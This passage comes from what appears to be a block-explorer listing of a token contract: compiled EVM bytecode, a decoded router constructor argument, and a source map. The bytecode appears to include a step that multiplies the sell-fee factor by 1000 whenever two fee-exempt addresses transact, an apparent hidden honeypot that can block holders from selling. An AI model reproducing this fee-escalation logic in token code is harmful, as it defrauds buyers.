600454838261184f9190612ffe565b1115806118a55750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6118e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118db906130a4565b60405180910390fd5b6118ec611d83565b80156119455750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561195357611952611e5a565b5b600062989680846119649190612ec1565b9050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b15611a21578084611a1e9190612fca565b93505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ac35750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611adc57611ad38686866123d5565b92505050611d1e565b611b65846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ce9092919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611bb487876124f9565b611bbe5784611c1a565b611c198786601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146125a7565b5b9050611c6e81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d0e91906128a9565b60405180910390a3600193505050505b9392505050565b6000808284611d349190612ffe565b905083811015611d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7090613110565b60405180910390fd5b8091505092915050565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611df05750601460009054906101000a900460ff16155b8015611e085750601160149054906101000a900460ff165b8015611e555750601254600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601460006101000a81548160ff0219169083151502179055506000601354600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eca576013549050611f0d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000611f4b6002611f3d600b54611f2f6009548761271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b90506000611f6282846127e390919063ffffffff16565b90506000600267ffffffffffffffff811115611f8157611f80613130565b5b604051908082528060200260200182016040528015611faf5781602001602082028036833780820191505090505b5090503081600081518110611fc757611fc661315f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209291906131a3565b816001815181106120a6576120a561315f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121449594939291906132c9565b600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b50505050600047905060006121a7612196600260095461279990919063ffffffff16565b600b546127e390919063ffffffff16565b905060006121e560026121d7846121c96009548861271f90919063ffffffff16565b61279990919063ffffffff16565b61279990919063ffffffff16565b905060006121fc82856127e390919063ffffffff16565b9050600081111561229e576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161225390613354565b600060405180830381858888f193505050503d8060008114612291576040519150601f19603f3d011682016040523d82523d6000602084013e612296565b606091505b505080915050505b60008711156123b057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308a600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161233096959493929190613369565b60606040518083038185885af115801561234e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061237391906133df565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450682886040516123a7929190613432565b60405180910390a15b50505050505050506000601460006101000a81548160ff021916908315150217905550565b60006123ee6103e8600d5461271f90919063ffffffff16565b600d8190555061244682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124e691906128a9565b60405180910390a3600190509392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561259f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080826125b65760646125ba565b600d545b905060006126056064600c546125d09190612e50565b6125f7846125e9600b548a61271f90919063ffffffff16565b61271f90919063ffffffff16565b61279990919063ffffffff16565b905061265981600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126f991906128a9565b60405180910390a361271481866127e390919063ffffffff16565b925050509392505050565b60008083036127315760009050612793565b6000828461273f9190612e50565b905082848261274e9190612ec1565b1461278e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612785906134cd565b60405180910390fd5b809150505b92915050565b60006127db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282d565b905092915050565b600061282583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117ce565b905092915050565b60008083118290612874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286b9190612954565b60405180910390fd5b50600083856128839190612ec1565b9050809150509392505050565b6000819050919050565b6128a381612890565b82525050565b60006020820190506128be600083018461289a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156128fe5780820151818401526020810190506128e3565b60008484015250505050565b6000601f19601f8301169050919050565b6000612926826128c4565b61293081856128cf565b93506129408185602086016128e0565b6129498161290a565b840191505092915050565b6000602082019050818103600083015261296e818461291b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006129a68261297b565b9050919050565b6129b68161299b565b81146129c157600080fd5b50565b6000813590506129d3816129ad565b92915050565b6129e281612890565b81146129ed57600080fd5b50565b6000813590506129ff816129d9565b92915050565b60008060408385031215612a1c57612a1b612976565b5b6000612a2a858286016129c4565b9250506020612a3b858286016129f0565b9150509250929050565b60008115159050919050565b612a5a81612a45565b82525050565b6000602082019050612a756000830184612a51565b92915050565b612a8481612a45565b8114612a8f57600080fd5b50565b600081359050612aa181612a7b565b92915050565b60008060408385031215612abe57612abd612976565b5b6000612acc858286016129c4565b9250506020612add85828601612a92565b9150509250929050565b600080600060608486031215612b0057612aff612976565b5b6000612b0e868287016129c4565b9350506020612b1f868287016129c4565b9250506040612b30868287016129f0565b9150509250925092565b600060ff82169050919050565b612b5081612b3a565b82525050565b6000602082019050612b6b6000830184612b47565b92915050565b600060208284031215612b8757612b86612976565b5b6000612b95848285016129c4565b91505092915050565b600060208284031215612bb457612bb3612976565b5b6000612bc2848285016129f0565b91505092915050565b612bd48161299b565b82525050565b6000602082019050612bef6000830184612bcb565b92915050565b60008060408385031215612c0c57612c0b612976565b5b6000612c1a858286016129c4565b9250506020612c2b858286016129c4565b9150509250929050565b600080600060608486031215612c4e57612c4d612976565b5b6000612c5c868287016129f0565b9350506020612c6d868287016129f0565b9250506040612c7e868287016129f0565b9150509250925092565b600080600060608486031215612ca157612ca0612976565b5b6000612caf86828701612a92565b9350506020612cc0868287016129f0565b9250506040612cd1868287016129f0565b9150509250925092565b6000819050919050565b6000612d00612cfb612cf68461297b565b612cdb565b61297b565b9050919050565b6000612d1282612ce5565b9050919050565b6000612d2482612d07565b9050919050565b612d3481612d19565b82525050565b6000602082019050612d4f6000830184612d2b565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612d9c57607f821691505b602082108103612daf57612dae612d55565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000612deb6006836128cf565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e5b82612890565b9150612e6683612890565b9250828202612e7481612890565b91508282048414831517612e8b57612e8a612e21565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ecc82612890565b9150612ed783612890565b925082612ee757612ee6612e92565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b6000612f28601c836128cf565b9150612f3382612ef2565b602082019050919050565b60006020820190508181036000830152612f5781612f1b565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612f946008836128cf565b9150612f9f82612f5e565b602082019050919050565b60006020820190508181036000830152612fc381612f87565b9050919050565b6000612fd582612890565b9150612fe083612890565b9250828203905081811115612ff857612ff7612e21565b5b92915050565b600061300982612890565b915061301483612890565b925082820190508082111561302c5761302b612e21565b5b92915050565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c2068652063616e206e6f7420686f6c642074686174206d7563682e0000602082015250565b600061308e603e836128cf565b915061309982613032565b604082019050919050565b600060208201905081810360008301526130bd81613081565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006130fa601b836128cf565b9150613105826130c4565b602082019050919050565b60006020820190508181036000830152613129816130ed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061319d816129ad565b92915050565b6000602082840312156131b9576131b8612976565b5b60006131c78482850161318e565b91505092915050565b6000819050919050565b60006131f56131f06131eb846131d0565b612cdb565b612890565b9050919050565b613205816131da565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132408161299b565b82525050565b60006132528383613237565b60208301905092915050565b6000602082019050919050565b60006132768261320b565b6132808185613216565b935061328b83613227565b8060005b838110156132bc5781516132a38882613246565b97506132ae8361325e565b92505060018101905061328f565b5085935050505092915050565b600060a0820190506132de600083018861289a565b6132eb60208301876131fc565b81810360408301526132fd818661326b565b905061330c6060830185612bcb565b613319608083018461289a565b9695505050505050565b600081905092915050565b50565b600061333e600083613323565b91506133498261332e565b600082019050919050565b600061335f82613331565b9150819050919050565b600060c08201905061337e6000830189612bcb565b61338b602083018861289a565b61339860408301876131fc565b6133a560608301866131fc565b6133b26080830185612bcb565b6133bf60a083018461289a565b979650505050505050565b6000815190506133d9816129d9565b92915050565b6000806000606084860312156133f8576133f7612976565b5b6000613406868287016133ca565b9350506020613417868287016133ca565b9250506040613428868287016133ca565b9150509250925092565b6000604082019050613447600083018561289a565b613454602083018461289a565b9392505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b76021836128cf565b91506134c28261345b565b604082019050919050565b600060208201905081810360008301526134e6816134aa565b905091905056fea2646970667358221220d4832514a6b1fcf1e0b6eb1e8e860148bb966f18cba9602e74c99f435119519664736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : routeraddr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
5738:8817:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6686:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7931:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8367:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6407:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7661:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6340:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9433:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8885:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7755:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6450:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8591:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9261:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12820:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6299:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6649:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8017:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3776:148;;;;;;;;;;;;;:::i;:::-;;11813:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5981:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3590:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7841:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6258:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12584:228;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6621:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8721:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6747:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6495:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12207:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11956:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8128:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6538:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3932:214;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6582:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6686:54;;;;:::o;7931:80::-;7979:13;8003:5;7996:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7931:80;:::o;8367:216::-;8442:4;8494:6;8459:11;:23;8471:10;8459:23;;;;;;;;;;;;;;;:32;8483:7;8459:32;;;;;;;;;;;;;;;:41;;;;8537:7;8516:37;;8525:10;8516:37;;;8546:6;8516:37;;;;;;:::i;:::-;;;;;;;;8571:4;8564:11;;8367:216;;;;:::o;6407:36::-;;;;:::o;7661:88::-;7716:7;7734:12;;7727:19;;7661:88;:::o;6340:60::-;;;;:::o;9433:135::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;9554:6:::1;9524:19;:27;9544:6;9524:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;9433:135:::0;;:::o;8885:368::-;8985:4;9040:17;9005:11;:19;9017:6;9005:19;;;;;;;;;;;;;;;:31;9025:10;9005:31;;;;;;;;;;;;;;;;:52;9002:186;;9107:69;9143:6;9107:69;;;;;;;;;;;;;;;;;:11;:19;9119:6;9107:19;;;;;;;;;;;;;;;:31;9127:10;9107:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;9073:11;:19;9085:6;9073:19;;;;;;;;;;;;;;;:31;9093:10;9073:31;;;;;;;;;;;;;;;:103;;;;9002:186;9205:40;9219:6;9227:9;9238:6;9205:13;:40::i;:::-;9198:47;;8885:368;;;;;:::o;7755:80::-;7807:5;5918:1;7816:16;;7755:80;:::o;6450:36::-;;;;:::o;8591:122::-;8646:4;8670:35;8678:7;8687:17;8670:7;:35::i;:::-;8663:42;;8591:122;;;:::o;9261:164::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;9412:5:::1;9383:24;9368:12;;:39;;;;:::i;:::-;9367:50;;;;:::i;:::-;9349:15;:68;;;;9261:164:::0;:::o;12820:120::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12926:6:::1;12904:11;:19;12916:6;12904:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;12820:120:::0;;:::o;6299:34::-;;;;:::o;6649:30::-;;;;;;;;;;;;;:::o;8017:105::-;8083:7;8101:9;:18;8111:7;8101:18;;;;;;;;;;;;;;;;8094:25;;8017:105;;;:::o;3776:148::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;3883:1:::1;3846:40;;3867:6;::::0;::::1;;;;;;;;3846:40;;;;;;;;;;;;3914:1;3897:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3776:148::o:0;11813:135::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;11889:8:::1;11882:4;;:15;;;;;;;;;;;;;;;;;;11936:4;11908:19;:25;11928:4;;;;;;;;;;;11908:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;11813:135:::0;:::o;5981:57::-;;;;:::o;3590:79::-;3628:7;3655:6;;;;;;;;;;;3648:13;;3590:79;:::o;7841:84::-;7891:13;7915:7;7908:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7841:84;:::o;6258:34::-;;;;:::o;12584:228::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12727:22:::1;12703:21;;:46;;;;;;;;;;;;;;;;;;12783:21;12760:20;;:44;;;;;;;;;;;;;;;;;;12584:228:::0;;:::o;6621:19::-;;;;;;;;;;;;;:::o;8721:156::-;8801:4;8825:44;8839:10;8851:9;8862:6;8825:13;:44::i;:::-;8818:51;;8721:156;;;;:::o;6747:56::-;;;;:::o;6495:36::-;;;;;;;;;;;;;:::o;12207:369::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12340:13:::1;12325:12;:28;;;;12379:13;12364:12;:28;;;;12414:32;12432:13;12414;:17;;:32;;;;:::i;:::-;12403:8;:43;;;;12474:15;12457:14;:32;;;;12534:1;12519:14;;:16;;;;:::i;:::-;12508:8;;:27;12500:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12207:369:::0;;;:::o;11956:243::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;12095:8:::1;12081:11;;:22;;;;;;;;;;;;;;;;;;12130:14;12114:13;:30;;;;12174:17;12155:16;:36;;;;11956:243:::0;;;:::o;8128:133::-;8212:7;8230:11;:19;8242:6;8230:19;;;;;;;;;;;;;;;:28;8250:7;8230:28;;;;;;;;;;;;;;;;8223:35;;8128:133;;;;:::o;6538:35::-;;;;;;;;;;;;;:::o;3932:214::-;3727:10;3717:20;;:6;;;;;;;;;;:20;;;3709:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;4041:1:::1;4021:22;;:8;:22;;::::0;4013:43:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4101:8;4072:38;;4093:6;::::0;::::1;;;;;;;;4072:38;;;;;;;;;;;;4130:8;4121:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3932:214:::0;:::o;6582:32::-;;;;;;;;;;;;;:::o;1634:190::-;1720:7;1753:1;1748;:6;;1756:12;1740:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1780:9;1796:1;1792;:5;;;;:::i;:::-;1780:17;;1815:1;1808:8;;;1634:190;;;;;:::o;9576:1106::-;9668:4;9728:18;9749:20;9759:9;9749;:20::i;:::-;9728:41;;9813:15;;9802:6;9789:10;:19;;;;:::i;:::-;9788:40;;:74;;;;9832:19;:30;9852:9;9832:30;;;;;;;;;;;;;;;;;;;;;;;;;9788:74;9780:148;;;;;;;;;;;;:::i;:::-;;;;;;;;;9968:16;:14;:16::i;:::-;:37;;;;;10001:4;;;;;;;;;;;9988:17;;:9;:17;;;9968:37;9965:54;;;10007:10;:8;:10::i;:::-;9965:54;10058:21;10091:8;10082:6;:17;;;;:::i;:::-;10058:41;;10114:11;:19;10126:6;10114:19;;;;;;;;;;;;;;;;;;;;;;;;;10113:20;:41;;;;;10150:4;;;;;;;;;;;10137:17;;:9;:17;;;10113:41;10110:95;;;10180:13;10170:23;;;;;:::i;:::-;;;10110:95;10218:11;:19;10230:6;10218:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;10241:11;:22;10253:9;10241:22;;;;;;;;;;;;;;;;;;;;;;;;;10218:45;10215:96;;;10272:39;10287:6;10294:9;10304:6;10272:14;:39::i;:::-;10265:46;;;;;;10215:96;10342:53;10364:6;10342:53;;;;;;;;;;;;;;;;;:9;:17;10352:6;10342:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;10322:9;:17;10332:6;10322:17;;;;;;;;;;;;;;;:73;;;;10406:22;10431:31;10445:6;10452:9;10431:13;:31::i;:::-;:86;;10511:6;10431:86;;;10465:43;10473:6;10481;10502:4;;;;;;;;;;;10489:17;;:9;:17;;;10465:7;:43::i;:::-;10431:86;10406:111;;10551:40;10576:14;10551:9;:20;10561:9;10551:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;10528:9;:20;10538:9;10528:20;;;;;;;;;;;;;;;:63;;;;10626:9;10609:43;;10618:6;10609:43;;;10637:14;10609:43;;;;;;:::i;:::-;;;;;;;;10670:4;10663:11;;;;;9576:1106;;;;;;:::o;1307:179::-;1365:7;1385:9;1401:1;1397;:5;;;;:::i;:::-;1385:17;;1426:1;1421;:6;;1413:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1477:1;1470:8;;;1307:179;;;;:::o;11608:197::-;11657:4;11695;;;;;;;;;;;11681:18;;:10;:18;;;;:38;;;;;11713:6;;;;;;;;;;;11712:7;11681:38;:62;;;;;11732:11;;;;;;;;;;;11681:62;:116;;;;;11784:13;;11756:9;:24;11774:4;11756:24;;;;;;;;;;;;;;;;:41;;11681:116;11674:123;;11608:197;:::o;12948:1602::-;6861:4;6852:6;;:13;;;;;;;;;;;;;;;;;;13007:22:::1;13070:16;;13043:9;:24;13061:4;13043:24;;;;;;;;;;;;;;;;:43;13040:180;;;13119:16;;13102:33;;13040:180;;;13184:9;:24;13202:4;13184:24;;;;;;;;;;;;;;;;13167:41;;13040:180;13230:23;13256:53;13307:1;13256:46;13293:8;;13256:32;13275:12;;13256:14;:18;;:32;;;;:::i;:::-;:36;;:46;;;;:::i;:::-;:50;;:53;;;;:::i;:::-;13230:79;;13320:20;13343:35;13362:15;13343:14;:18;;:35;;;;:::i;:::-;13320:58;;13391:21;13429:1;13415:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13391:40;;13460:4;13442;13447:1;13442:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;13486:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13476:4;13481:1;13476:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;13510:6;;;;;;;;;;;:57;;;13582:12;13609:1;13625:4;13652;13672:15;13510:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13711:17;13731:21;13711:41;;13763:19;13785:33;13798:19;13815:1;13798:12;;:16;;:19;;;;:::i;:::-;13785:8;;:12;;:33;;;;:::i;:::-;13763:55;;13829:26;13858:51;13907:1;13858:44;13890:11;13858:27;13872:12;;13858:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;13829:80;;13920:26;13949:33;13963:18;13949:9;:13;;:33;;;;:::i;:::-;13920:62;;14017:1;13998:18;:20;13995:174;;;14034:15;14088:20;;;;;;;;;;;14080:34;;14122:18;14147:5;14080:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14064:93;;;;;14019:150;13995:174;14202:1;14184:15;:19;14181:362;;;14219:6;;;;;;;;;;;:22;;;14249:18;14295:4;14319:15;14353:1;14373::::0;14393:21:::1;;;;;;;;;;;14433:15;14219:244;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14483:48;14495:18;14515:15;14483:48;;;;;;;:::i;:::-;;;;;;;;14181:362;12986:1564;;;;;;;;6879:5:::0;6870:6;;:14;;;;;;;;;;;;;;;;;;12948:1602::o;10694:298::-;10787:4;10821:24;10840:4;10821:14;;:18;;:24;;;;:::i;:::-;10804:14;:41;;;;10879:32;10904:6;10879:9;:20;10889:9;10879:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10856:9;:20;10866:9;10856:20;;;;;;;;;;;;;;;:55;;;;10944:9;10927:35;;10936:6;10927:35;;;10955:6;10927:35;;;;;;:::i;:::-;;;;;;;;10980:4;10973:11;;10694:298;;;;;:::o;11440:160::-;11520:4;11545:11;:19;11557:6;11545:19;;;;;;;;;;;;;;;;;;;;;;;;;11544:20;:47;;;;;11569:11;:22;11581:9;11569:22;;;;;;;;;;;;;;;;;;;;;;;;;11568:23;11544:47;11537:54;;11440:160;;;;:::o;11000:432::-;11080:7;11107:18;11128:6;:29;;11154:3;11128:29;;;11137:14;;11128:29;11107:50;;11168:17;11188:62;11246:3;11229:14;;:20;;;;:::i;:::-;11188:36;11213:10;11188:20;11199:8;;11188:6;:10;;:20;;;;:::i;:::-;:24;;:36;;;;:::i;:::-;:40;;:62;;;;:::i;:::-;11168:82;;11288:39;11317:9;11288;:24;11306:4;11288:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;11261:9;:24;11279:4;11261:24;;;;;;;;;;;;